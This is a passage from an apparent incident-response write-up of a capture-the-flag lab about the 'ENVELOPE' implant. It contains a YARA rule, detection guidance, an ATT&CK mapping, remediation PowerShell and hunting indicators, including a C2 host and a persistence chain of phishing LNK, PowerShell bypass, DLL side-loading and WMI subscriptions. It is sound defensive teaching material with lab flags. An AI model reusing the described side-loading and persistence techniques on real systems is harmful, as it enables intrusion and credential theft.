$smtp_from = "MAIL FROM:<victim@finance.local>" ascii
$smtp_rcpt = "RCPT TO:<c2@enve" ascii
$smtp_helo = "HELO vic" ascii

/*
    Observed ENVELOPE lab/protocol key material.
    This is specific to the implant family in this investigation.
*/
$key = "envelope-lab-key" ascii

condition:
/*
    Require the file to be a PE DLL by checking the PE header characteristics.
    This is more specific than only checking for the MZ header.
    0x2000 is the IMAGE_FILE_DLL characteristic.
*/
uint32(uint32(0x3c)) == 0x00004550 and
uint16(uint32(0x3c) + 22) & 0x2000 != 0 and

/*
    The decoded implant was small, around 26 KB.
    This keeps the rule focused while allowing minor size variation.
*/
filesize < 100KB and

/*
    Require several observed CRYPTBASE-style export names,
    but not every export, so minor variants are still detected.
*/
$exp_start and
4 of ($exp_*) and

/*
    Require evidence of the custom SMTP-like C2 behavior.
    This avoids relying only on export names.
*/
2 of ($smtp_*) and

/*
    Require the ENVELOPE-specific protocol/key marker.
*/
$key
}

```

● 12. Highest-Fidelity Detection Signal

Recommended signal:

Sysmon Event ID 7 / EDR image-load telemetry:

A non-standard executable running from C:\ProgramData\Microsoft\Windows\UpdateCache loading a local CRYPTBASE.dll from the same directory.

Why this is high-fidelity: This signal catches the implant at execution time. PowerShell, scheduled tasks, and `wscript.exe` can be common in enterprises, but a copied binary such as `C:\ProgramData\Microsoft\Windows\UpdateCache\tzsync.exe` loading `C:\ProgramData\Microsoft\Windows\UpdateCache\CRYPTBASE.dll` is much more specific to DLL side-loading and directly identifies the malware execution technique.

● 13. MITRE ATT&CK Mapping

Tactic	Technique	ID	Evidence
Initial Access	Spearphishing Attachment	T1566.001	Q2_Remittance.zip phishing attachment
Execution	User Execution: Malicious File	T1204.002	User opened Payment_Details.pdf.lnk
Execution	PowerShell	T1059.001	Shortcut launched PowerShell with execution policy bypass
Defense Evasion	Obfuscated Files or Information	T1027	Base64-wrapped dropper and XOR payload
Persistence	Scheduled Task	T1053.005	WindowsUpdateCore , MSFT_UpdateHealthRefres h
Persistence	WMI Event Subscription	T1546.003	MSFT_UpdateHealthFilt er , MSFT_UpdateHealthConsum er
Defense Evasion / Persistence	DLL Side-Loading	T1574.002	tzsync.exe loading local CRYPTBASE.dll
Command and Control	Application Layer Protocol	T1071	SMTP-like protocol over TCP port 80
Exfiltration	Exfiltration Over C2 Channel	T1041	Credential material staged for upload

● 14. Governance, Risk, and Compliance Notes

14.1 Severity

Severity: High. Using CVSS-style reasoning, this is High severity because the attack used a network-delivered phishing attachment as the attack vector, required only user interaction, changed system scope by establishing persistence and disabling Defender, and created high confidentiality risk through credential staging and live C2 communication.

14.2 Notification Obligation

If the organization processes EU/EEA personal data, a **GDPR Article 33 supervisory authority notification** may apply. The notification would go to the relevant data protection supervisory authority within 72 hours of becoming aware of the breach, unless the incident is unlikely to create risk to individuals. This applies because ENVELOPE compromised a Finance workstation, established persistence, contacted live C2, and staged credential material in `wu_auth_cache.dat`, creating a credible risk of unauthorized access to or exfiltration of personal data or account credentials.

14.3 Preventive Control Gap

A strong preventive control would be **application control / allowlisting**, such as Microsoft Defender Application Control or AppLocker, configured to block unapproved scripts and executables from user-writable or unusual paths.

This would have reduced the attack because ENVELOPE relied on running a fake PDF shortcut, executing PowerShell, and staging scripts and binaries from:

```
C:\ProgramData\Microsoft\Windows\UpdateCache
```

A properly configured policy could block `.ps1`, `.vbs`, and unapproved binaries from running out of suspicious paths such as Downloads, Temp, and ProgramData.

● 15. Remediation Plan

15.1 Immediate Containment Actions

1. Preserve evidence first. Before terminating malware or deleting persistence, capture:

```
Memory image
Disk snapshot
Windows event logs
PowerShell logs
Scheduled task exports
WMI subscription details
Malware files
Network connection evidence
```

Important files to preserve:

```
Q2_Remittance.zip
Payment_Details.pdf.lnk
envelope_drop.ps1
invoice_cache.dat
invoice_cache.decoded.bin
C:\ProgramData\Microsoft\Windows\UpdateCache\CRYPTBASE.dll
C:\ProgramData\Microsoft\Windows\UpdateCache\envelope.dll
C:\ProgramData\Microsoft\Windows\UpdateCache\tzsync.exe
C:\ProgramData\Microsoft\Windows\UpdateCache\wu_auth_cache.dat
```

2. Isolate the host. Disconnect the affected workstation from the network or place it in an isolated VLAN to stop C2 communication.

```
C2 host: corp-invoice-portal.com
C2 port: 80
```

3. Stop active implant and persistence after evidence capture.

```
Stop-Process -Name tzsync -Force

schtasks /Delete /TN WindowsUpdateCore /F
schtasks /Delete /TN MSFT_UpdateHealthRefresh /F

Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding |
Where-Object {
    $_.Filter -match "MSFT_UpdateHealthFilter" -or $_.Consumer -match "MSFT_UpdateHealthConsumer"
} | Remove-CimInstance

Get-CimInstance -Namespace root\subscription -ClassName __EventFilter |
Where-Object { $_.Name -eq "MSFT_UpdateHealthFilter" } |
Remove-CimInstance

Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer |
Where-Object { $_.Name -eq "MSFT_UpdateHealthConsumer" } |
Remove-CimInstance
```

15.2 Next-Step Actions

1. Credential reset and account review. Reset credentials for the affected Finance user and any accounts exposed or referenced on the workstation. Review authentication logs for suspicious activity.

2. Enterprise-wide hunting. Search endpoints for:

```
C:\ProgramData\Microsoft\Windows\UpdateCache\CRYPTBASE.dll
C:\ProgramData\Microsoft\Windows\UpdateCache\tzsync.exe
C:\ProgramData\Microsoft\Windows\UpdateCache\launch_update.vbs
Scheduled task: WindowsUpdateCore
Scheduled task: MSFT_UpdateHealthRefresh
WMI: MSFT_UpdateHealthFilter
WMI: MSFT_UpdateHealthConsumer
Outbound connections to corp-invoice-portal.com:80
```

3. Improve controls. Implement or tune:

```
Email filtering for ZIP/LNK attachments
Application control for scripts and binaries
PowerShell logging and constrained language mode
Sysmon Event ID 7 image-load monitoring
EDR detection for DLL side-loading
Network egress controls for unexpected SMTP-like traffic over port 80
```

● 16. Final Incident Summary

The ENVELOPE intrusion began with a phishing ZIP and fake PDF shortcut. The shortcut launched PowerShell, which decoded and executed a dropper. The dropper XOR-decoded a PE payload, staged it in a fake Windows Update directory, and used DLL side-loading with `tzsync.exe` and `CRYPTBASE.dll`. Persistence was achieved through scheduled tasks and WMI subscriptions. The implant communicated with a live SMTP-like C2 server over port 80 and staged credential material for possible exfiltration.

16.1 Confirmed Flags

```
FLAG{envelope_c2_found_2026}  
FLAG{envelope_cred_exfil_2026}  
FLAG{envelope_beacon_2026}
```

16.2 Most Important Defensive Lessons

1. Triage first, reverse later.
2. Preserve memory and disk before killing malware.
3. Watch for DLL side-loading, not only PowerShell.
4. Scheduled tasks and WMI are common persistence mechanisms.
5. Fake Microsoft/Windows Update paths should not be trusted automatically.
6. Application control would have significantly reduced this attack.